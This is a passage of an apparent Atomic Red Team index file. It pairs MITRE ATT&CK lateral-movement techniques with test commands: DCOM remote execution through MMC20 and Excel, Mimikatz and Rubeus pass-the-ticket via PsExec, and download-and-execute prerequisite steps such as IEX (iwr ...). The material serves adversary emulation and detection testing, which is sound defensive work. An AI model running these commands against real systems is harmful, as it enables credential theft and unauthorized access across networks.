        description: Nelson, M. (2017, November 16). Lateral Movement using Outlook's
          CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.
        url: https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
      - source_name: Enigma Excel DCOM Sept 2017
        description: Nelson, M. (2017, September 11). Lateral Movement using Excel.Application
          and DCOM. Retrieved November 21, 2017.
        url: https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
      - source_name: Cyberreason DCOM DDE Lateral Movement Nov 2017
        description: Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral
          movement via DCOM. Retrieved November 21, 2017.
        url: https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1021.003
    atomic_tests:
    - name: PowerShell Lateral Movement using MMC20
      auto_generated_guid: 6dc74eb1-c9d6-4c53-b3b5-6f50ae339673
      description: |
        Powershell lateral movement using the mmc20 application com object.

        Reference:

        https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/

        Upon successful execution, cmd will spawn calc.exe on a remote computer.
      supported_platforms:
      - windows
      input_arguments:
        computer_name:
          description: Name of Computer
          type: string
          default: localhost
      executor:
        command: '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Document.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe",
          $null, $null, "7")

          '
        name: powershell
    - name: PowerShell Lateral Movement Using Excel Application Object
      auto_generated_guid: 505f24be-1c11-4694-b614-e01ae1cd2570
      description: |
        Powershell lateral movement using the Excel COM objects.

        Reference:

        https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922

        Upon successful execution, cmd will spawn calc.exe on a remote computer.
      supported_platforms:
      - windows
      dependencies:
      - description: 'Microsoft Excel must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "Excel.Application" | Out-Null
            Stop-Process -Name "Excel"
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Excel
          manually to meet this requirement"

          '
      input_arguments:
        computer_name:
          description: Hostname or IP
          type: string
          default: localhost
        user:
          description: Name of user
          type: string
          default: admin
      executor:
        command: |
          copy c:\windows\system32\calc.exe 'C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe'
          $com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","#{computer_name}"))
          $com.ActivateMicrosoftApp("5")
        name: powershell
        cleanup_command: 'Remove-Item ''C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe''

          '
  T1550.003:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: 'Use Alternate Authentication Material: Pass the Ticket'
      description: |-
        Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

        When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)

        A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)

        A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)

        Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_contributors:
      - Vincent Le Toux
      - Ryan Becwar
      x_mitre_detection: |-
        Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.

        Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to "Integrity check on decrypted field failed" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      - 'Active Directory: Active Directory Credential Request'
      x_mitre_defense_bypassed:
      - System Access Controls
      x_mitre_system_requirements:
      - Kerberos authentication enabled
      type: attack-pattern
      id: attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926
      created: '2020-01-30T17:03:43.072Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1550/003
        external_id: T1550.003
      - source_name: ADSecurity AD Kerberos Attacks
        description: Metcalf, S. (2014, November 22). Mimikatz and Active Directory
          Kerberos Attacks. Retrieved June 2, 2016.
        url: https://adsecurity.org/?p=556
      - source_name: GentilKiwi Pass the Ticket
        description: Deply, B. (2014, January 13). Pass the ticket. Retrieved June
          2, 2016.
        url: http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
      - source_name: Campbell 2014
        description: Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December
          4, 2014.
        url: http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf
      - source_name: Stealthbits Overpass-the-Hash
        description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash
          Attacks. Retrieved February 4, 2021.
        url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/
      - source_name: CERT-EU Golden Ticket Protection
        description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016,
          April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.
        url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
      identifier: T1550.003
    atomic_tests:
    - name: Mimikatz Kerberos Ticket Attack
      auto_generated_guid: dbf38128-7ba7-4776-bedf-cc2eed432098
      description: 'Similar to PTH, but attacking Kerberos

        '
      supported_platforms:
      - windows
      input_arguments:
        ticket:
          description: Ticket file name usually format of 'id-username\@domain.kirbi'
            (e.g. can be dumped by "sekurlsa::tickets /export" module)
          type: string
          default: 
        mimikatz_exe:
          description: Path of the Mimikatz binary
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\bin\x64\mimikatz.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz must exist on disk at specified location (#{mimikatz_exe})

          '
        prereq_command: 'if (Test-Path "#{mimikatz_exe}") {exit 0} else {exit 1}

          '
        get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item
          -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction
          Ignore -Force | Out-Null\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\"
          -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl
          = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url
          | where-object { $_.endswith(\".zip\") }\n$basePath = Split-Path \"#{mimikatz_exe}\"
          | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n"
      executor:
        command: '"#{mimikatz_exe}" "kerberos::ptt #{ticket}"

          '
        name: command_prompt
    - name: Rubeus Kerberos Pass The Ticket
      auto_generated_guid: a2fc4ec5-12c6-4fb4-b661-961f23f359cb
      description: |
        Requesting a TGT on a remote system and retrieving it locally before requesting a service ticket with it. This is a Pass-The-Ticket attack because the TGT is obtained on the remote system, then used from a different machine (local).
        PsExec is used to execute commands on the remote system, and the "C$" admin share is used to retrieve the TGT, so the current user must have admin rights remotely and other PsExec prerequisites must be met.
      supported_platforms:
      - windows
      input_arguments:
        target:
          description: Remote system to request the TGT from
          type: string
          default: localhost
        user_name:
          description: username associated with the ticket (privileged account not
            required)
          type: string
          default: Administrator
        password:
          description: password for user_name
          type: string
          default: Password
        domain:
          description: domain
          type: string
          default: "$Env:USERDOMAIN"
        rubeus_url:
          description: URL of Rubeus executable
          type: url
          default: https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Rubeus must exist on disk at "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe"

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-Webrequest -Uri #{rubeus_url} -OutFile "PathToAtomicsFolder\..\ExternalPayloads\rubeus.exe"
      - description: 'PsExec must exist on disk at "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe"

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
          New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") -Force | Out-Null
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force
      executor:
        name: powershell
        elevation_required: true
        command: "& \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -accepteula
          \\\\#{target} -w c:\\ -c \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\"
          asktgt /user:#{user_name} /password:#{password} /domain:#{domain} /outfile:ticket.kirbi\nSet-Location
          \"PathToAtomicsFolder\\..\\ExternalPayloads\"\nMove-Item -Force \"\\\\#{target}\\c$\\ticket.kirbi\"
          ticket.kirbi\nWrite-Host \"Successfully retrieved TGT from '#{target}',
          now requesting a TGS from local\"\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\"
          asktgs /service:cifs/#{target} /ticket:ticket.kirbi /ptt\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\ticket.kirbi\"\n&
          \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" purge      "
  T1021.007:
    technique:
      modified: '2023-04-14T22:27:04.095Z'
      name: Cloud Services
      description: "Adversaries may log into accessible cloud services within a compromised
        environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078)
        that are synchronized with or federated to on-premises user identities. The
        adversary may then perform management actions or access cloud-hosted resources
        as the logged-on user. \n\nMany enterprises federate centrally managed user
        identities to cloud services, allowing users to login with their domain credentials
        in order to access the cloud control plane. Similarly, adversaries may connect
        to available cloud services through the web console or through the cloud command
        line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)),
        using commands such as <code>Connect-AZAccount</code> for Azure PowerShell,
        <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud
        auth login</code> for the Google Cloud CLI.\n\nIn some cases, adversaries
        may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001)
        instead of a username and password. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Office 365
      - Azure AD
      - SaaS
      - IaaS
      - Google Workspace
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      type: attack-pattern
      id: attack-pattern--8861073d-d1b8-4941-82ce-dce621d398f0
      created: '2023-02-21T19:38:13.371Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1021/007
        external_id: T1021.007
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1072:
    technique:
      modified: '2024-04-12T03:40:37.954Z'
      name: Software Deployment Tools
      description: "Adversaries may gain access to and use centralized software suites
        installed within an enterprise to execute commands and move laterally through
        the network. Configuration management and software deployment applications
        may be used in an enterprise network or cloud environment for routine administration
        purposes. These systems may also be integrated into CI/CD pipelines. Examples
        of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft
        Intune, Azure Arc, and GCP Deployment Manager.  \n\nAccess to network-wide
        or enterprise-wide endpoint management software may enable an adversary to
        achieve remote code execution on all connected systems. The access may be
        used to laterally move to other systems, gather information, or cause a specific
        effect, such as wiping the hard drives on all endpoints.\n\nSaaS-based configuration
        management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651)
        on cloud-hosted instances, as well as the execution of arbitrary commands
        on on-premises endpoints. For example, Microsoft Configuration Manager allows
        Global or Intune Administrators to run scripts as SYSTEM on on-premises devices
        joined to Azure AD.(Citation: SpecterOps Lateral Movement from Azure to On-Prem
        AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001)
        to communicate back to adversary owned infrastructure.(Citation: Mitiga Security
        Advisory: SSM Agent as Remote Access Trojan)\n\nNetwork infrastructure devices
        may also have configuration management tools that can be similarly abused
        by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected
        Chinese Actor in Espionage Operation)\n\nThe permissions required for this
        action vary by system configuration; local credentials may be sufficient with
        direct access to the third-party system, or specific domain credentials may
        be required. However, the system may require an administrative account to
        log in or to access specific functionality."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_contributors:
      - Shane Tully, @securitygypsy
      - Joe Gumke, U.S. Bank
      - Tamir Yehuda
      x_mitre_deprecated: false
      x_mitre_detection: "Detection methods will vary depending on the type of third-party
        software or system and how it is typically used. \n\nThe same investigation
        process can be applied here as with other potentially malicious activities
        where the distribution vector is initially unknown but the resulting activity
        follows a discernible pattern. Analyze the process execution trees, historical
        activities from the third-party application (such as what types of files are
        usually pushed), and the resulting activities or events from the file/binary/script
        pushed to systems. \n\nOften these third-party applications will have logs
        of their own that can be collected and correlated with other data from the
        environment. Ensure that third-party application logs are on-boarded to the
        enterprise logging system and the logs are regularly reviewed. Audit software
        deployment logs and look for suspicious or unauthorized activity. A system
        not typically used to push software to clients that suddenly is used for such
        a task outside of a known admin function may be suspicious. Monitor account
        login activity on these applications to detect suspicious/abnormal usage.\n\nPerform
        application deployment at regular times so that irregular deployment activity
        stands out. Monitor process activity that does not correlate to known good
        software. Monitor account login activity on the deployment system."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      - SaaS
      x_mitre_version: '3.0'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Application Log: Application Log Content'
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414
      created: '2017-05-31T21:30:57.201Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1072
        external_id: T1072
      - source_name: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese
          Actor in Espionage Operation
        description: ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD
          UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware
          Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15,
          2023.
        url: https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem
      - source_name: SpecterOps Lateral Movement from Azure to On-Prem AD 2020
        description: 'Andy Robbins. (2020, August 17). Death from Above: Lateral Movement
          from Azure to On-Prem AD. Retrieved March 13, 2023.'
        url: https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d
      - source_name: 'Mitiga Security Advisory: SSM Agent as Remote Access Trojan'
        description: 'Ariel Szarf, Or Aspir. (n.d.). Mitiga Security Advisory: Abusing
          the SSM Agent as a Remote Access Trojan. Retrieved January 31, 2024.'
        url: https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1072
    atomic_tests:
    - name: Radmin Viewer Utility
      auto_generated_guid: b4988cad-6ed2-434d-ace5-ea2670782129
      description: 'An adversary may use Radmin Viewer Utility to remotely control
        Windows device, this will start the radmin console.

        '
      supported_platforms:
      - windows
      input_arguments:
        radmin_installer:
          description: Radmin Viewer installer
          type: path
          default: RadminViewer.msi
        radmin_exe:
          description: The radmin.exe executable from RadminViewer.msi
          type: path
          default: Radmin Viewer 3/Radmin.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Radmin Viewer Utility must be installed at specified location
          (#{radmin_exe})

          '
        prereq_command: 'if (Test-Path "${env:ProgramFiles(x86)}/#{radmin_exe}") {exit
          0} else {exit 1}

          '
        get_prereq_command: |
          Write-Host Downloading radmin installer
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://www.radmin.com/download/Radmin_Viewer_3.5.2.1_EN.msi" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\#{radmin_installer}"
          Write-Host Install Radmin
          Start-Process msiexec  -Wait -ArgumentList /i , "PathToAtomicsFolder\..\ExternalPayloads\#{radmin_installer}", /qn
      executor:
        name: command_prompt
        elevation_required: true
        command: '"%PROGRAMFILES(x86)%/#{radmin_exe}"

          '
    - name: PDQ Deploy RAT
      auto_generated_guid: e447b83b-a698-4feb-bed1-a7aaf45c3443
      description: 'An adversary may use PDQ Deploy Software to deploy the Remote
        Adminstartion Tool, this will start the PDQ console.

        '
      supported_platforms:
      - windows
      input_arguments:
        PDQ_Deploy_installer:
          description: PDQ Deploy Install
          type: path
          default: PDQDeploysetup.exe
        PDQ_Deploy_exe:
          description: The PDQDeployConsole.exe executable from PDQDeploysetup.exe
          type: path
          default: Admin Arsenal/PDQ Deploy/PDQDeployConsole.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'PDQ Deploy will be installed at specified location (#{PDQ_Deploy_exe})

          '
        prereq_command: 'if (Test-Path "${env:ProgramFiles(x86)}/#{PDQ_Deploy_exe}")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          Write-Host Downloading PDQ Deploy installer
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.pdq.com/release/19/Deploy_19.3.350.0.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\#{PDQ_Deploy_installer}"
          Write-Host Install PDQ Deploy
          Start-Process "PathToAtomicsFolder\..\ExternalPayloads\#{PDQ_Deploy_installer}" -Wait -ArgumentList "/s"
      executor:
        name: command_prompt
        elevation_required: true
        command: '"%PROGRAMFILES(x86)%/#{PDQ_Deploy_exe}"

          '
    - name: Deploy 7-Zip Using Chocolatey
      auto_generated_guid: 2169e8b0-2ee7-44cb-8a6e-d816a5db7d8a
      description: 'An adversary may use Chocolatey to remotely deploy the 7-Zip file
        archiver utility.

        '
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Chocolatey must be installed to deploy 7-Zip.

          '
        prereq_command: 'if (Test-Path "${env:ProgramFiles(x86)}\Chocolatey\choco.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          Write-Host Downloading Chocolatey installer
          Invoke-WebRequest -Uri "https://chocolatey.org/install.ps1" -OutFile "chocolatey-install.ps1"
          Write-Host Installing Chocolatey
          Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File chocolatey-install.ps1" -Wait
      executor:
        name: powershell
        elevation_required: false
        command: |
          # Deploy 7-Zip using Chocolatey
          choco install -y 7zip
  T1210:
    technique:
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - ExtraHop
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82
      type: attack-pattern
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1210
        url: https://attack.mitre.org/techniques/T1210
      - url: https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/
        description: CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows
          SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.
        source_name: CIS Multiple SMB Vulnerabilities
      - url: https://nvd.nist.gov/vuln/detail/CVE-2017-0176
        description: National Vulnerability Database. (2017, June 22). CVE-2017-0176
          Detail. Retrieved April 3, 2018.
        source_name: NVD CVE-2017-0176
      - url: https://nvd.nist.gov/vuln/detail/CVE-2016-6662
        description: National Vulnerability Database. (2017, February 2). CVE-2016-6662
          Detail. Retrieved April 3, 2018.
        source_name: NVD CVE-2016-6662
      - url: https://nvd.nist.gov/vuln/detail/CVE-2014-7169
        description: National Vulnerability Database. (2017, September 24). CVE-2014-7169
          Detail. Retrieved April 3, 2018.
        source_name: NVD CVE-2014-7169
      modified: '2022-05-11T14:00:00.188Z'
      name: Exploitation of Remote Services
      description: |-
        Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.

        An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities,  or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.

        There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)

        Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_detection: Detecting software exploitation may be difficult depending
        on the tools available. Software exploits may not always succeed or may cause
        the exploited process to become unstable or crash. Also look for behavior
        on the endpoint system that might indicate successful compromise, such as
        abnormal behavior of the processes. This could include suspicious files written
        to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055)
        for attempts to hide execution, evidence of [Discovery](https://attack.mitre.org/tactics/TA0007),
        or other unusual network traffic that may indicate additional tools transferred
        to the system.
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Application Log: Application Log Content'
      x_mitre_permissions_required:
      - User
      x_mitre_system_requirements:
      - Unpatched software or otherwise vulnerable target. Depending on the target
        and goal, the system and exploitable service may need to be remotely accessible
        from the internal network.
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1534:
    technique:
      modified: '2024-02-16T13:09:39.215Z'
      name: Internal Spearphishing
      description: |-
        After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating [Impersonation](https://attack.mitre.org/techniques/T1656).(Citation: Trend Micro - Int SP)

        For example, adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic login interfaces.

        Adversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.(Citation: Int SP - chat apps)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_contributors:
      - Tim MalcomVetter
      - Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)
      x_mitre_deprecated: false
      x_mitre_detection: 'Network intrusion detection systems and email gateways usually
        do not scan internal email, but an organization can leverage the journaling-based
        solution which sends a copy of emails to a security service for offline analysis
        or incorporate service-integrated solutions using on-premise or API-based
        integrations to help detect internal spearphishing campaigns.(Citation: Trend
        Micro When Phishing Starts from the Inside 2017)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      - Office 365
      - SaaS
      - Google Workspace
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      - 'Application Log: Application Log Content'
      type: attack-pattern
      id: attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747
      created: '2019-09-04T19:26:12.441Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1534
        external_id: T1534
      - source_name: Trend Micro When Phishing Starts from the Inside 2017
        description: Chris Taylor. (2017, October 5). When Phishing Starts from the
          Inside. Retrieved October 8, 2019.
        url: https://blog.trendmicro.com/phishing-starts-inside/
      - source_name: Int SP - chat apps
        description: Microsoft Threat Intelligence. (2023, August 2). Midnight Blizzard
          conducts targeted social engineering over Microsoft Teams. Retrieved February
          16, 2024.
        url: https://www.microsoft.com/en-us/security/blog/2023/08/02/midnight-blizzard-conducts-targeted-social-engineering-over-microsoft-teams/
      - source_name: Trend Micro - Int SP
        description: Trend Micro. (n.d.). Retrieved February 16, 2024.
        url: https://www.trendmicro.com/en_us/research.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1570:
    technique:
      modified: '2023-10-01T13:48:28.738Z'
      name: Lateral Tool Transfer
      description: |-
        Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.

        Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)

